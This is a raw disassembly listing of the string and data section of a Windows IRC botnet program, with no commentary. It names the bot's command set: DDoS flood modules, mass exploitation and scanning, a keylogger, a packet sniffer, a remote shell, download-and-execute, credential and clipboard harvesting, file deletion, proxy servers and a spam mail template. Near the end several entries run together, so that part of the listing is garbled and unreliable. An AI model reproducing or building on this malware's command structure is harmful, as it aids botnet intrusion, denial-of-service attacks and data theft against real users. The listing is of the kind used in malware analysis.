aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: seg000:0040DD21o align 4 dword_42A4D4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:0040DCA3o dd 2029206Ch, 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: seg000:0040DC80o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: seg000:0040DC5Do align 10h aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: seg000:0040DC46o align 10h unk_42A530 db 3 ; DATA XREF: seg000:0040DC05o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 65h, 6Eh db 7Ah ; z db 31h, 30h, 62h db 20h db 3, 32h, 2Eh db 2Eh ; . db 20h, 3, 31h db 35h ; 5 db 28h, 65h, 6Dh db 61h ; a db 69h, 6Ch, 3 db 32h ; 2 db 2Eh, 3, 31h db 35h ; 5 db 6Dh, 6Fh, 64h db 29h ; ) db 20h, 3, 32h db 0BBh ; db 3, 31h, 35h aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: seg000:0040DB91o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a_: ; DATA XREF: seg000:0040DAF5o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: seg000:0040DAA6o align 10h aUsa db 'usa',0 ; DATA XREF: seg000:0040DA8Fo aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: seg000:0040DA78o align 4 aPg db 'pg',0 ; DATA XREF: seg000:0040DA61o align 4 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: seg000:0040DA4Ao align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: seg000:0040DA33o align 4 aPu db 'pu',0 ; DATA XREF: seg000:0040DA1Co align 4 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: seg000:0040DA05o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: seg000:0040D9EEo align 4 aVv db 'vv',0 ; DATA XREF: seg000:0040D9D7o align 4 aVuln_start db 'vuln.start',0 ; DATA XREF: seg000:0040D9C0o align 4 aClone_ac db 'clone.ac',0 ; DATA XREF: seg000:0040D997o align 10h aClone_action db 'clone.action',0 ; DATA XREF: seg000:0040D980o align 10h aClone_pm db 'clone.pm',0 ; DATA XREF: seg000:0040D969o align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: seg000:0040D952o align 4 aEnz_ps db 'enz.ps',0 ; DATA XREF: seg000:0040D93Bo align 4 aEnz_portscan db 'enz.portscan',0 ; DATA XREF: seg000:0040D924o align 4 aServer_rd_on db 'server.rd.on',0 ; DATA XREF: seg000:0040D90Do align 4 aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: seg000:0040D8F6o align 4 aD1 db 'd1',0 ; DATA XREF: seg000:0040D8DFo align 4 aDownload_fromw db 'download.fromwww',0 ; DATA XREF: seg000:0040D8C8o align 10h aSy1 db 'sy1',0 ; DATA XREF: seg000:0040D8B1o aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: seg000:0040D89Ao align 4 aDs_rm db 'ds.rm',0 ; DATA XREF: seg000:0040D883o align 4 aDs_ack db 'ds.ack',0 ; DATA XREF: seg000:0040D86Co align 4 aDs_sy1 db 'ds.sy1',0 ; DATA XREF: seg000:0040D855o align 4 aClone_start db 'clone.start',0 ; DATA XREF: seg000:0040D83Eo aClone_make db 'clone.make',0 ; DATA XREF: seg000:0040D827o align 4 aDdos_ic db 'ddos.ic',0 ; DATA XREF: seg000:0040D7FEo aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: seg000:0040D7E7o align 4 aBox_mv db 'box.mv',0 ; DATA XREF: seg000:0040D7D0o align 10h aBox_rename db 'box.rename',0 ; DATA XREF: seg000:0040D7B9o align 4 aBox_ff db 'box.ff',0 ; DATA XREF: seg000:0040D7A2o align 4 aBox_findfile db 'box.findfile',0 ; DATA XREF: seg000:0040D78Bo align 4 aBox_e db 'box.e',0 ; DATA XREF: seg000:0040D774o align 4 aBox_execute db 'box.execute',0 ; DATA XREF: seg000:0040D75Do aDownload_upz db 'download.upz',0 ; DATA XREF: seg000:0040D746o align 4 aDownload_updiz db 'download.updiz',0 ; DATA XREF: seg000:0040D72Fo align 4 aEnz_de db 'enz.de',0 ; DATA XREF: seg000:0040D718o align 10h aEnz_delay db 'enz.delay',0 ; DATA XREF: seg000:0040D701o align 4 aEnz_rp db 'enz.rp',0 ; DATA XREF: seg000:0040D6EAo align 4 aEnz_repeat db 'enz.repeat',0 ; DATA XREF: seg000:0040D6D3o align 10h aClone_p db 'clone.p',0 ; DATA XREF: seg000:0040D6BCo aClone_part db 'clone.part',0 ; DATA XREF: seg000:0040D6A5o align 4 aClone_j db 'clone.j',0 ; DATA XREF: seg000:0040D68Eo aClone_join db 'clone.join',0 ; DATA XREF: seg000:0040D677o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: seg000:0040D660o align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: seg000:0040D649o align 10h aClone_m db 'clone.m',0 ; DATA XREF: seg000:0040D632o aClone_mode db 'clone.mode',0 ; DATA XREF: seg000:0040D61Bo align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: seg000:0040D604o align 10h aClone_raw db 'clone.raw',0 ; DATA XREF: seg000:0040D5EDo align 4 aEnz_m db 'enz.m',0 ; DATA XREF: seg000:0040D5D6o align 4 aEnz_mode db 'enz.mode',0 ; DATA XREF: seg000:0040D5BFo align 10h aEnz_cy db 'enz.cy',0 ; DATA XREF: seg000:0040D5A8o align 4 aEnz_cycle db 'enz.cycle',0 ; DATA XREF: seg000:0040D591o align 4 aEnz_ac db 'enz.ac',0 ; DATA XREF: seg000:0040D57Ao align 4 aEnz_action db 'enz.action',0 ; DATA XREF: seg000:0040D563o align 4 aEnz_pm db 'enz.pm',0 ; DATA XREF: seg000:0040D54Co align 10h aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: seg000:0040D535o aEnz_aa db 'enz.aa',0 ; DATA XREF: seg000:0040D51Eo align 4 aEnz_addalias db 'enz.addalias',0 ; DATA XREF: seg000:0040D507o align 4 aEnz_gh db 'enz.gh',0 ; DATA XREF: seg000:0040D4DEo align 4 aEnz_gethost db 'enz.gethost',0 ; DATA XREF: seg000:0040D4C7o dword_42A888 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40D479o dd 2029206Ch, 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_42A8B8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40D472o dd 2029206Ch, 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_42A8EC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40D42Ao dd 2029206Ch, 2BBBB02h aUserListFailed db ' User list failed.',0 dword_42A91C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040D423o dd 2029206Ch, 2BBBB02h aUserListComple db ' User list completed.',0 align 10h aUser db 'user',0 ; DATA XREF: seg000:0040D396o align 4 dword_42A958 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40D38Bo dd 2029206Ch, 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_42A98C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040D381o dd 2029206Ch, 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: seg000:0040D319o align 4 aDelete db 'delete',0 ; DATA XREF: seg000:0040D2FEo align 10h aContinue db 'continue',0 ; DATA XREF: seg000:0040D2E3o align 4 aPause db 'pause',0 ; DATA XREF: seg000:0040D2CBo align 4 aStop db 'stop',0 ; DATA XREF: seg000:0040D2B3o align 4 dword_42A9EC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:loc_40D2A8o dd 2029206Ch, 2BBBB02h aServiceListFai db ' Service list failed.',0 align 10h dword_42AA20 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040D29Eo dd 2029206Ch, 2BBBB02h aServiceListCom db ' Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: seg000:0040D24Do align 10h dword_42AA60 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: seg000:0040D21Ao dd 2029206Ch, 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aBox_net db 'box.net',0 ; DATA XREF: seg000:0040D1F6o unk_42AAB4 db 2 ; DATA XREF: seg000:0040D1B5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToSta_24 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_42AB04 db 2 ; DATA XREF: seg000:0040D14Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_42AB38 db 2 ; DATA XREF: seg000:0040D0CCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_42AB6C db 2 ; DATA XREF: seg000:loc_40D0A8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_42ABAC db 2 ; DATA XREF: seg000:0040D09Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Bh ; k db 65h, 79h, 6Ch db 6Fh ; o db 67h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: seg000:0040D06Ao ; seg000:0040D0E0o align 4 aBox_kog db 'box.kog',0 ; DATA XREF: seg000:0040D044o unk_42AC0C db 2 ; DATA XREF: seg000:loc_40D03Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_42AC48 db 2 ; DATA XREF: seg000:0040D030o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 4 aOff db 'off',0 ; DATA XREF: seg000:0040D00Do ; seg000:0040D07Bo unk_42AC98 db 2 ; DATA XREF: seg000:0040D002o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_25 db 'Failed to start sniffer thread, error: <%d>.',0 align 4 unk_42ACE8 db 2 ; DATA XREF: seg000:0040CF93o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 4 unk_42AD2C db 2 ; DATA XREF: seg000:0040CF2Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: seg000:0040CF0Fo ; seg000:0040D059o align 4 aSniff db 'sniff',0 ; DATA XREF: seg000:0040CEFAo align 4 aBox_rf db 'box.rf',0 ; DATA XREF: seg000:0040CEE3o align 4 aBox_readfile db 'box.readfile',0 ; DATA XREF: seg000:0040CECCo align 4 aBox_cm db 'box.cm',0 ; DATA XREF: seg000:0040CEB5o align 4 aBox_cmd db 'box.cmd',0 ; DATA XREF: seg000:0040CE9Eo aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: seg000:0040CE70o ; seg000:0040CE87o align 10h aEnz_v db 'enz.v',0 ; DATA XREF: seg000:0040CE59o align 4 aEnz_visit db 'enz.visit',0 ; DATA XREF: seg000:0040CE42o align 4 aBox_fl db 'box.fl',0 ; DATA XREF: seg000:0040CE2Bo align 4 aBox_filelist db 'box.filelist',0 ; DATA XREF: seg000:0040CE14o align 4 aDcc_gt db 'dcc.gt',0 ; DATA XREF: seg000:0040CDFDo align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: seg000:0040CDE6o aBox_del db 'box.del',0 ; DATA XREF: seg000:0040CDCFo aBox_delete db 'box.delete',0 ; DATA XREF: seg000:0040CDB8o align 10h aBox_pkid db 'box.pkid',0 ; DATA XREF: seg000:0040CDA1o align 4 aBox_prockillid db 'box.prockillid',0 ; DATA XREF: seg000:0040CD8Ao align 4 aBox_kpn db 'box.kpn',0 ; DATA XREF: seg000:0040CD73o aBox_killprocna db 'box.killprocname',0 ; DATA XREF: seg000:0040CD5Co align 4 aEnz_dn db 'enz.dn',0 ; DATA XREF: seg000:0040CD45o align 10h aEnz_dns db 'enz.dns',0 ; DATA XREF: seg000:0040CD2Eo aEnz_se db 'enz.se',0 ; DATA XREF: seg000:0040CD17o align 10h aEnz_setserve db 'enz.setserve',0 ; DATA XREF: seg000:0040CD00o align 10h aBox_o db 'box.o',0 ; DATA XREF: seg000:0040CCE9o align 4 aBox_open db 'box.open',0 ; DATA XREF: seg000:0040CCD2o align 4 aEnz_pr db 'enz.pr',0 ; DATA XREF: seg000:0040CCBBo align 4 aEnz_prefix db 'enz.prefix',0 ; DATA XREF: seg000:0040CCA4o align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: seg000:0040CC8Do align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: seg000:0040CC76o align 4 aClone_q db 'clone.q',0 ; DATA XREF: seg000:0040CC5Fo aClone_quit db 'clone.quit',0 ; DATA XREF: seg000:0040CC48o align 4 aThreads_k db 'threads.k',0 ; DATA XREF: seg000:0040CC31o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: seg000:0040CC1Ao align 4 aEnz_r db 'enz.r',0 ; DATA XREF: seg000:0040CC03o align 4 aEnz_raw db 'enz.raw',0 ; DATA XREF: seg000:0040CBECo aEnz_pt db 'enz.pt',0 ; DATA XREF: seg000:0040CBD5o align 4 aEnz_part db 'enz.part',0 ; DATA XREF: seg000:0040CBBEo align 4 aEnz_j db 'enz.j',0 ; DATA XREF: seg000:0040CBA7o align 10h aEnz_join db 'enz.join',0 ; DATA XREF: seg000:0040CB90o align 4 aEnz_n db 'enz.n',0 ; DATA XREF: seg000:0040CB79o align 4 aEnz_nick db 'enz.nick',0 ; DATA XREF: seg000:0040CB62o align 10h aVall db 'vall',0 ; DATA XREF: seg000:0040CB3Co align 4 aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: seg000:0040CB27o align 4 aServer_tf_on db 'server.tf.on',0 ; DATA XREF: seg000:0040CB12o align 4 aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: seg000:0040CAFDo align 4 aServer_web_on db 'server.web.on',0 ; DATA XREF: seg000:0040CAE8o align 4 aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: seg000:0040CAD3o aVuln_cip db 'vuln.cip',0 ; DATA XREF: seg000:0040CABEo align 4 aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: seg000:0040CAA9o align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: seg000:0040CA94o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: seg000:0040CA7Fo align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: seg000:0040CA6Ao align 10h aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: seg000:0040CA55o align 10h aBox_gc db 'box.gc',0 ; DATA XREF: seg000:0040CA40o align 4 aBox_getclip db 'box.getclip',0 ; DATA XREF: seg000:0040CA2Bo dword_42AFD4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040CA1Ao dd 2029206Ch, 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: seg000:0040C9E6o align 10h aEmpty db '<Empty>',0 ; DATA XREF: seg000:0040C9D9o aLoginList db '-[Login List]-',0 ; DATA XREF: seg000:0040C9B7o align 4 aEnz_who db 'enz.who',0 ; DATA XREF: seg000:0040C99Eo aCmd db '[CMD]',0 ; DATA XREF: seg000:0040C993o align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: seg000:0040C98Eo align 4 aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: seg000:0040C975o align 4 aBox_ocmd db 'box.ocmd',0 ; DATA XREF: seg000:0040C960o align 4 aBox_opencmd db 'box.opencmd',0 ; DATA XREF: seg000:0040C94Bo aBox_dll db 'box.dll',0 ; DATA XREF: seg000:0040C936o aBox_testdlls db 'box.testdlls',0 ; DATA XREF: seg000:0040C921o align 4 aBox_drv db 'box.drv',0 ; DATA XREF: seg000:0040C90Co aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: seg000:0040C8F7o align 10h aBox_up db 'box.up',0 ; DATA XREF: seg000:0040C8E2o align 4 aBox_uptime db 'box.uptime',0 ; DATA XREF: seg000:0040C8CDo align 4 aBox_key db 'box.key',0 ; DATA XREF: seg000:0040C8B8o aBox_harvest db 'box.harvest',0 ; DATA XREF: seg000:0040C8A3o aBox_ps db 'box.ps',0 ; DATA XREF: seg000:0040C88Eo align 10h aBox_procs db 'box.procs',0 ; DATA XREF: seg000:0040C879o align 4 aEnz_010 db 'enz.010',0 ; DATA XREF: seg000:0040C864o aEnz_beg01ne db 'enz.beg01ne',0 ; DATA XREF: seg000:0040C84Fo aSi db 'si',0 ; DATA XREF: seg000:0040C83Ao align 4 aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: seg000:0040C825o aBox_ni db 'box.ni',0 ; DATA XREF: seg000:0040C810o align 4 aBox_netinfo db 'box.netinfo',0 ; DATA XREF: seg000:0040C7FBo aUtil_clg db 'util.clg',0 ; DATA XREF: seg000:0040C7E6o align 10h aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: seg000:0040C7D1o align 10h aEnz_l0g db 'enz.l0g',0 ; DATA XREF: seg000:0040C7BCo aEnz_lo0g db 'enz.lo0g',0 ; DATA XREF: seg000:0040C7A7o align 4 aEnz_al db 'enz.al',0 ; DATA XREF: seg000:0040C792o align 4 aEnz_aliases db 'enz.aliases',0 ; DATA XREF: seg000:0040C77Do aThreads_l db 'threads.l',0 ; DATA XREF: seg000:0040C768o align 4 aThreads_list db 'threads.list',0 ; DATA XREF: seg000:0040C753o align 4 dword_42B174 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040C71Fo dd 2029206Ch, 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_42B1AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040C718o dd 2029206Ch, 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aBox_rebewt db 'box.rebewt',0 ; DATA XREF: seg000:0040C701o align 4 aEnz_i db 'enz.i',0 ; DATA XREF: seg000:0040C6ECo align 10h aEnz_id db 'enz.id',0 ; DATA XREF: seg000:0040C6D7o align 4 aEnz_s db 'enz.s',0 ; DATA XREF: seg000:0040C6C2o align 10h aEnz_status db 'enz.status',0 ; DATA XREF: seg000:0040C6ADo align 4 aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: seg000:0040C698o align 4 aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: seg000:0040C683o align 4 aEnz_et3 db 'enz.et3',0 ; DATA XREF: seg000:0040C66Eo aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: seg000:0040C659o aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: seg000:0040C644o aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: seg000:0040C62Fo align 10h aVuln_st db 'vuln.st',0 ; DATA XREF: seg000:0040C61Ao aVuln_stats db 'vuln.stats',0 ; DATA XREF: seg000:0040C605o align 4 aExploitation db 'Exploitation',0 ; DATA XREF: seg000:0040C5FAo align 4 aScan db 'Scan',0 ; DATA XREF: seg000:0040C5F5o align 4 aVuln_stop db 'vuln.stop',0 ; DATA XREF: seg000:0040C5DCo align 4 dword_42B288 dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0 db 'Secure',0 ; DATA XREF: seg000:0040C5CCo align 10h aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: seg000:0040C5B3o align 10h dword_42B2B0 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: seg000:0040C5A3o align 4 aClone_off db 'clone.off',0 ; DATA XREF: seg000:0040C58Ao align 4 aBox_ps_off db 'box.ps.off',0 ; DATA XREF: seg000:0040C575o align 10h aBox_procs_off db 'box.procs.off',0 ; DATA XREF: seg000:0040C560o align 10h aBox_ff_off db 'box.ff.off',0 ; DATA XREF: seg000:0040C54Bo align 4 aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: seg000:0040C536o align 10h dword_42B310 dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: seg000:0040C50Do dword_42B32C dd 69027002h, 1F671F6Eh, 2E2Ehdword_42B338 dd 676E6950h, 6F6C6620h, 646Fhdword_42B344 dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_42B354 dd 64027502h, 2E1F701Fh, 2Ehdword_42B360 dd 20504455h, 6F6F6C66h, 64hdword_42B36C dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_42B37C dd 79027302h, 2E1F6E1Fh, 2Ehdword_42B388 dd 206E7953h, 6F6F6C66h, 64hdword_42B394 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_42B3A4 dd 64026402h, 1F731F6Fh, 2E2Ehdword_42B3B0 dd 536F4444h, 6F6C6620h, 646Fhdword_42B3BC dd 736F6464h, 66666F2Eh, 0dword_42B3C8 dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_42B3D8 dd 20504354h, 69646572h, 74636572h, 0aServer_redirec db 'server.redirect.off',0 ; DATA XREF: seg000:0040C440o dword_42B3FC dd 6F026C02h, 2E1F671Fh, 2Ehdword_42B408 dd 20676F4Ch, 7473696Ch, 0dword_42B414 dd 2E676F6Ch, 66666Fhdword_42B41C dd 74026802h, 641F7074h, 2E2E1Fhdword_42B428 dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_42B438 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: seg000:0040C3CBo align 4 dword_42B45C dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer db 'Server',0 ; DATA XREF: seg000:0040C3A4o ; seg000:0040C3E4o ... align 4 aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: seg000:0040C38Bo align 4 aServer_s4_on db 'server.s4.on',0 ; DATA XREF: seg000:0040C376o align 4 aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: seg000:0040C361o align 4 aLd_off db 'ld.off',0 ; DATA XREF: seg000:0040C34Co align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: seg000:0040C337o align 4 aLd_on db 'ld.on',0 ; DATA XREF: seg000:0040C322o align 4 aLockdown_on db 'lockdown.on',0 ; DATA XREF: seg000:0040C30Do aEnz_ver db 'enz.ver',0 ; DATA XREF: seg000:0040C2F8o aEnz_version db 'enz.version',0 ; DATA XREF: seg000:0040C2E3o aEnz_lo db 'enz.lo',0 ; DATA XREF: seg000:0040C2CEo align 4 aEnz_logout db 'enz.logout',0 ; DATA XREF: seg000:0040C2B9o align 10h aEnz_d db 'enz.d',0 ; DATA XREF: seg000:0040C2A4o align 4 aEnz_endsess db 'enz.endsess',0 ; DATA XREF: seg000:0040C28Fo aEnz_rn db 'enz.rn',0 ; DATA XREF: seg000:0040C27Ao align 4 aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: seg000:0040C262o a63 db '63',0 ; DATA XREF: seg000:0040C13Bo align 4 asc_42B52C: ; DATA XREF: seg000:0040C113o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: seg000:0040C0D6o align 4 aServer_0 db '$server',0 ; DATA XREF: seg000:0040C0CBo aRndnick db '$rndnick',0 ; DATA XREF: seg000:0040C0BAo align 4 aChan db '$chan',0 ; DATA XREF: seg000:0040C09Eo align 4 aUser_2 db '$user',0 ; DATA XREF: seg000:0040C08Do align 4 aMe_0 db '$me',0 ; DATA XREF: seg000:0040C07Bo aD db '$%d',0 ; DATA XREF: seg000:0040C00Do aD_0 db '$%d-',0 ; DATA XREF: seg000:0040BF52o align 4 aHi_0 db 'hi',0 ; DATA XREF: seg000:0040BE7Ao align 10h aNewshit db 'newshit',0 ; DATA XREF: seg000:0040BE62o dword_42B578 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BE30o dd 2029206Ch, 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_42B5BC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BE22o dd 2029206Ch, 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 10h dword_42B600 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BE14o dd 2029206Ch, 2BBBB02h aFailedToSta_26 db ' Failed to start chat thread, error: <%d>.',0 dword_42B648 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BDA5o dd 2029206Ch, 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: seg000:0040BD0Eo align 4 dword_42B684 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BCF1o dd 2029206Ch, 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_42B6D8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BCD3o ; seg000:0040FA8Eo dd 2029206Ch, 2BBBB02h aFailedToSta_27 db ' Failed to start transfer thread, error: <%d>.',0 dword_42B724 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: seg000:0040BCC2o dd 0A0Dh dword_42B73C dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: seg000:0040BC48o align 10h dword_42B760 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: seg000:0040BC2Eo dd 0D017325h, 0Ah dword_42B77C dd 52455601h, 4E4F4953h, 1dword_42B788 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BAE3o dd 2029206Ch, 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: seg000:0040BA40o align 10h dword_42B7D0 dd 43434401h, 0 